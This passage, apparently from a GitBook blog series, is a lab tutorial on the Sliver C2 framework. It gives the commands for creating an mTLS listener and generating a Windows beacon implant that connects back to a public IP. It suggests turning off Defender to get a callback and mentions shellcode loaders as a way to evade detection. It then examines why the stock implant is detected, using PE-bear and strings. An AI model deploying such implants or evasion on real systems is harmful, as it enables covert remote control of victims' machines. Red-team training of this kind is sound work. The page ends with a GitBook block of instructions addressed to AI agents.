Figure 1.0
*Next, I created a new* ***mTLS listener*** *on the Sliver server using the following command:* ```bash mtls --lhost 10.0.2.15 --lport 447 ``` *This configures the server to listen for incoming* ***mutual TLS (mTLS)*** *connections on port* ***447*** *, allowing implants to communicate securely with the C2 server.* *To make sure the implant can connect back successfully over the internet, you’ll need to generate a new implant that points to your* ***public IP address*** *in the mTLS endpoint. For example:* ```bash generate beacon --mtls YOUR_PUBLIC_IP:443 --os windows --arch amd64 --seconds 60 --jitter 30 --save mtls_beacon_public.exe ``` *If you prefer a* ***session-based implant*** *instead of a beacon, you can simply use the* `generate` *command without the* `beacon` *option as shown in the figure below….* Figure 1.2
*Make sure to replace* `YOUR_PUBLIC_IP` *with your actual public IP address. You can quickly check it with:* ```bash curl ifconfig.me ``` Figure 1.3
*Now that the implant has been generated, you can transfer it to your* ***test Windows machine*** *using a python server….. If you want to observe a successful call-back and obtain a session, you may need to temporarily disable* ***Microsoft Defender’s real-time protection*** *, as it will often detect and block the generated implant.* *Alternatively, you can keep Defender enabled to see how quickly it* ***detects and flags the payload*** *, which is useful for understanding how modern AV/EDR responds to basic C2 implants…..* Figure 1.4
*Boom the implant was immediately flagged by Windows Defender. This happens because the generated file is a* ***default, unmodified Sliver executable*** *. When you create a full* `.exe` *using the standard* `generate` *command, Sliver compiles a relatively large* ***Go-based binary*** *with a recognizable structure and fingerprint.* *Microsoft Defender has strong signatures and machine-learning models trained to detect* ***stock Sliver implants*** *. Even though many strings are obfuscated, Defender can still identify patterns such as* ***Go runtime artifacts, memory allocation calls (e.g.,*** `VirtualAlloc` ***), and the embedded C2 communication logic*** *. As a result, as soon as the file is downloaded or executed on disk, Defender typically flags and quarantines it.* *One common way to reduce this type of detection is to avoid using the large full* `.exe` *implant and instead generate* ***shellcode*** *. Shellcode is raw machine code that can be executed directly in memory, which avoids dropping a clearly identifiable executable file on disk. The shellcode can then be executed using a* ***simple in-memory loader*** *written in languages such as C#, PowerShell, C++, or even Rust.* *This behavior is extremely common in lab environments most* ***default Sliver executables are detected on modern Windows systems*** *without any custom evasion techniques. For learning and testing purposes, you can temporarily disable* ***Real-time Protection*** *to observe a successful callback, or experiment with* ***shellcode-based execution*** *to understand how in-memory techniques change the detection surface….* Press enter or click to view image in full size Source : https://github.com/hasherezade/pe-bear
*Next, we’ll take a closer look at the generated* ***Sliver executable*** *to understand why it’s so easily recognized by security tools. We can start by analyzing the file with* ***PE-bear*** *, which allows us to inspect the PE structure, sections, imports, and other metadata commonly associated with Go-compiled binaries.* *In addition, we can extract readable strings from the binary to identify patterns or artifacts left inside the file. This can be done using tools like* `strings` ***on Linux*** *, which helps reveal embedded information such as library references, runtime artifacts, or other indicators that may contribute to detection. By combining PE analysis and string extraction, we can get a clearer picture of the characteristics that make default Sliver executables easier for defenders to identify.* Figure 1.5
*This figure shows the general information of the generated Sliver executable. From here, we can navigate to the* ***Strings*** *section to extract readable text embedded inside the binary. Reviewing these strings helps us gain a better understanding of the file’s contents and identify patterns, artifacts, or references that may contribute to how security tools detect the executable.* Figure 1.6
*When analyzing a suspicious binary, strings are usually one of the first places to look for indicators of intent. Analysts typically hunt for hardcoded IP addresses or domains that reveal C2 infrastructure, registry keys and file paths that hint at persistence mechanisms, API function names like* ***VirtualAlloc*** *or* ***CreateRemoteThread*** *that suggest injection behavior, and error or debug messages left behind by the developer that can even fingerprint the specific tool or framework used. In a well-behaved malicious binary,* ***strings alone can tell most of the story.*** *What we found here tells a different story entirely. Instead of actionable indicators, PE-bear surfaced over 92,000 strings nearly all of them short, repetitive, and meaningless fragments like* ***M9,$u.*** *This is Go’s runtime fingerprint: the compiler bundles an enormous amount of type metadata, scheduler internals, and symbol information directly into the binary, flooding the strings output with noise. There’s nothing useful to pivot on, no domains, no API calls, no debug output just a wall of garbage that effectively buries any meaningful content and makes string-based static detection a dead end…..* Figure 1.7
*If you’re working on a Linux machine, you can get the same view using the built-in* `strings` *utility without needing a GUI tool like PE-bear. Running* `strings mtls_session.exe` *against the binary will dump all printable character sequences to stdout, and piping it through* `grep` *lets you quickly filter for anything interesting for example,* `strings mtls_session.exe | grep -i "http"` *to hunt for URLs, or* `grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}"` *to pull out anything resembling an IP address. You can also pipe through* `wc -l` *to get a raw count of how many strings were extracted, which in our case will slam straight into the same problem an enormous number with very little signal buried inside it.* *Hope you enjoyed working through this one building your first Sliver implant, understanding the generation options, and seeing firsthand how static analysis holds up against a Go-compiled binary. If you have any feedback or questions, drop them in the comments below. In the next article we’ll get into custom techniques for Sliver evasion, loaders, and getting past the detections that caught us here. Until then, happy hacking!….* --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://top-gun-diary.gitbook.io/blog/sliver-c2-framework-series/part-two-creating-and-reversing-your-first-sliver-implant.md?ask=